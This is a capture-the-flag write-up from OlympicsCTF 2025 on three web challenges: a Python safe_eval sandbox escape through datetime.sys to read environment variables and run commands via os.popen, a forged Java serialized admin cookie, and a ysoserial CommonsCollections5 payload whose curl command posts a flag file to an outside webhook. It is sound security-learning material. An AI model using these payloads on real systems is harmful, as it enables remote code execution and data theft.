OlympicsCTF 2025

I participated in OlympicsCTF this year and managed to solve some challenges
Vibe Web Mail
This challenge is about an SSTI vulnerability but there is a filter (sandbox) that you need to escape first.
I start by reading the docker file which has the flag in env variable:
...
ENV FLAG=FLAG{ThisIsASampleFlagForTesting123}
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app/. .
EXPOSE 5000
RUN mkdir -p /app/static/images && chown -R webuser:webuser /app/static
USER webuser
CMD ["flask", "run", "--host", "0.0.0.0"]The app is a simple mail application, where you can send/receive mails to users. Looking at the site, you will see a simple login page:

You can register and email and login with it, but at the source code i noticed the app itself registering 2 accounts when it starts
def create_sample_users():
from models import User
if not User.query.filter_by(email='alice@example.com').first():
user1 = User(username='alice', email='alice@example.com', password='password123')
user2 = User(username='bob', email='bob@example.com', password='securepass')
db.session.add_all([user1, user2])
db.session.commit()
print("[+] Sample users created.")
else:
print("[=] Sample users already exist.")
...I used the two sample users and logged in with them. After a successful login you will be redirected to /inbox route where you receive your mails if someone send to you.
At the /compose route you can send mail to someone. I start by simply send a mail to the other user with a simple SSTI payload:

And i got this error message!
I ran the challenge locally to see what’s going on, i went to the docker logs and see this:
[2025-09-29 08:08:24,803] ERROR in utils: Template rendering error: TypeError("unhashable type: 'set'") while evaluating '{{5*5}}'Interesting! i went to the utils file where the error come from and i saw the error comes exactly from this function
def render_email_template(template_str):
try:
template = safe_eval(template_str)
return template
except Exception as e:
current_app.logger.error(f"Template rendering error: {e}")
return NoneAs you can see there is a safe_eval() function that is used to render the template, we need to see where is this function got created. From the imports above you can see it’s from libs.

I went to the libs dir and found a safe_eval.py file. After reading the code, this file is like a sandbox used by the app to evaluate codes running as safe as possible.
I will show only the important parts of the file. It has a safe_eval() function that we saw in the utils file, so lets read it to see why it’s raising an error:
def safe_eval(expr, globals_dict=None, locals_dict=None, mode="eval", nocopy=False, locals_builtins=False, filename=None):
if type(expr) is CodeType:
raise TypeError("safe_eval does not allow direct evaluation of code objects.")
if not nocopy:
if (globals_dict is not None and type(globals_dict) is not dict) \
or (locals_dict is not None and type(locals_dict) is not dict):
_logger.warning(
"Looks like you are trying to pass a dynamic environment, "
"you should probably pass nocopy=True to safe_eval().")
if globals_dict is not None:
globals_dict = dict(globals_dict)
if locals_dict is not None:
locals_dict = dict(locals_dict)
check_values(globals_dict)
check_values(locals_dict)
if globals_dict is None:
globals_dict = {}
globals_dict['__builtins__'] = dict(_BUILTINS)
if locals_builtins:
if locals_dict is None:
locals_dict = {}
locals_dict.update(_BUILTINS)
c = test_expr(expr, _SAFE_OPCODES, mode=mode, filename=filename)
try:
return unsafe_eval(c, globals_dict, locals_dict)
except Exception as e:
raise ValueError('%r while evaluating\n%r' % (e, expr))There are some restriction in the code above to make sure that the user input is not doing anything malicious. The most important part is this line:globals_dict['__builtins__'] = dict(_BUILTINS).
This line is making sure that the __builtins__ is always assigned to a safe dict _BUILTINS mentioned above in the code that i will show in a sec. This to make sure that users can’t access the global __builtins__ and call sensitive functions to read files or execute commands on the system. The safe _BUILTINS is like the following:
...
import datetime
...
unsafe_eval = eval
...
_BUILTINS = {
'datetime': datetime,
'True': True,
'False': False,
'None': None,
'bytes': bytes,
'str': str,
'unicode': str,
'bool': bool,
'int': int,
'float': float,
'enumerate': enumerate,
'dict': dict,
'list': list,
'tuple': tuple,
'map': map,
'abs': abs,
'min': min,
'max': max,
'sum': sum,
'reduce': functools.reduce,
'filter': filter,
'sorted': sorted,
'round': round,
'len': len,
'repr': repr,
'set': set,
'all': all,
'any': any,
'ord': ord,
'chr': chr,
'divmod': divmod,
'isinstance': isinstance,
'range': range,
'xrange': range,
'zip': zip,
'Exception': Exception,
}The safe dict doesn’t have any sensitive functions that we can use, even if it does, there are other functions that checks on user input preventing using of underscore __ or any dangerous attributes. After spending some time trying to evade thees filters, the trick was pretty simple.
I start thinking, what if the functions/classes/modules mentioned in the safe _BUILTINS dict has access on dangerous attributes that we can use to execute commands??!
looking at the safe _BUILTINS dict which contains the functions/modules we can use, hopping to see if any of them has access on sensitive attributes. I start with the datetime module since it’s the only module exist in the dict and cause the hasattr() function doesn’t exist, we goona ise the repr() function instead.
We gonna send a simple mail containing this message: repr(datetime.sys) to see if the datetime module has the .sys attribute or not. The output we are looking for is something like <module 'sys' (built-in)>. By sending the mail, login to the other account to the see the output:

Yes! the module has the sys attribute. Now we can simply build the payload and get the flag.
By sending this payload in the message mail datetime.sys.modules['os'].environ['FLAG'] and login to the other account to see the output, you will get the flag.

Vibe Web Mail 𝟚
There was a second version of this challenge, i don’t know why?? maybe someone solve the first unintended. It was the same code as the previous one, the only thing changes is the docker file. Instead of assign the flag in an env variable, the flag is read by a readflag.c file and placed in the root dir with a random name:
...
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app/. .
COPY readflag.c /
RUN BINARY_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 32) && \
gcc -o /$BINARY_NAME /readflag.c && \
chmod 0111 /$BINARY_NAME && \
rm /readflag.c
...Since we solve the previous one as intended, we have a free flag here. Same as the previous exploit, all you need is to list the files in the root dir and read the flag
datetime.sys.modules['os'].listdir('/')

datetime.sys.modules['os'].popen('/mpwv7nph42b0tlspdnihe34q45gke6tq').read()

Secret Formula
This challenge was a simple JAVA deserialization attack. When you go to the challenge url you will see a login page. By registering a new user an login, you will get a cookie:

Viewing the source code, it’s a single java file (i will only show the important parts)
class User implements Serializable {
private String email;
private String name;
private String password;
private String lastIp;
public User(String email, String name, String password, String ip){
this.email = email;
this.name = name;
this.password = password;
this.lastIp = ip;
}
public String getEmail() {
return this.email;
}
public String getName(){
return this.name;
}
public String getLastIp(){
return this.lastIp;
}
public boolean checkPassword(String pass){
return this.password.equals(pass);
}
public String toString(){
return this.name;
}
}We have a user object that contains four attributes (email, name, password, ip)
private String generateCookie(User user) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(user);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
private User extractUser(String encoded) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(encoded);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
User user = (User) ois.readObject();
ois.close();
return user;
}The generateCookie() method takes the User object, serializes it into a byte stream, and then Base64 encodes it to generate a cookie. The extractUser() method dose the exact opposite.
The thing is, when using ObjectInputStream.readObject() method on untrusted data, like a cookie that can be modified by a user is notoriously dangerous. An attacker can create their own serialized Java object, encode it, and send it in the cookie. When the server deserializes it, it can lead to Remote Code Execution (RCE).
Following the code:
else if ("/secretformula".equals(path)) {
Cookie[] cookies = request.getCookies();
if(cookies != null){
for(Cookie c : cookies){
if("user".equals(c.getName())){
try{
User u = extractUser(c.getValue());
if("Admin@admin.com".equals(u.getEmail())){
response.setContentType("text/html");
response.getWriter().println("<h2>"+extractSecretForumlaFromSafeBox()+"</h2>");
return;
}
} catch(Exception e){
return;
}
}
}
}The /secretformula endpoint is restricted only to users who has the Admin@admin.com email in their cookie after deserialization and then print the extractSecretForumlaFromSafeBox() method’s content on the page.
public String extractSecretForumlaFromSafeBox(){
try {
return new String(Files.readAllBytes(Paths.get("/safebox/secretformula_for_plankton.txt")));
} catch (Exception e) {
return "Error";
}
}The extractSecretForumlaFromSafeBox() method reads the content of the secretformula_for_plankton.txt that content is rendered later in the /secretformula route. That file actually contain a fake flag, i did know that from the source code i downloaded. You will get two files:
secretformula_for_plankton.txt=> contain the fake flag.secretformula.txt=> contain the real flag.
Okay, to access the /secretformula route, we need to use Admin@admin.com email. If you just use that in the login page, it will fail. In the code there is that line:
String email = request.getParameter("email").toLowerCase();The code is simply takes the email parameter and turn it into lowercase, so we need to modify a cookie and assign the Admin@admin.com email into it.
To do that, i made a simple java code that generate arbitrary cookie and used it in an online compiler.
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
class User implements Serializable {
private String email;
private String name;
private String password;
private String lastIp;
public User(String email, String name, String password, String ip){
this.email = email;
this.name = name;
this.password = password;
this.lastIp = ip;
}
public String getEmail() {
return this.email;
}
public String getName(){
return this.name;
}
public String getLastIp(){
return this.lastIp;
}
public boolean checkPassword(String pass){
return this.password.equals(pass);
}
public String toString(){
return this.name;
}
}
public class Main {
public static void main(String[] args) throws IOException {
User maliciousUser = new User("Admin@admin.com", "test", "test", "127.0.0.1");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(maliciousUser);
oos.close();
String cookieValue = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println("cookie:");
System.out.println(cookieValue);
}
}When running the above code, you will get a cookie that you can use on /secretformula route.

How we can get the real flag? We need to trigger an RCE through a deserialization attack.
I used the ysoserial-all.jar tool for that exploit and the CommonsCollections library, assuming the server using it because it’s very common. I also noticed we can’t cat the flag, so we need to send it remotely.
The final command will be like this:java -jar ysoserial-all.jar CommonsCollections5 "curl <WEBHOOK> -d @/safebox/secretformula.txt" > test.bin then base64 the resulted file by: base64 -w 0 test.bin.
Then you will get a cookie you can use. The server will deserialize the cookie, read the secretformula.txt which contain the real flag and send it to our webhook
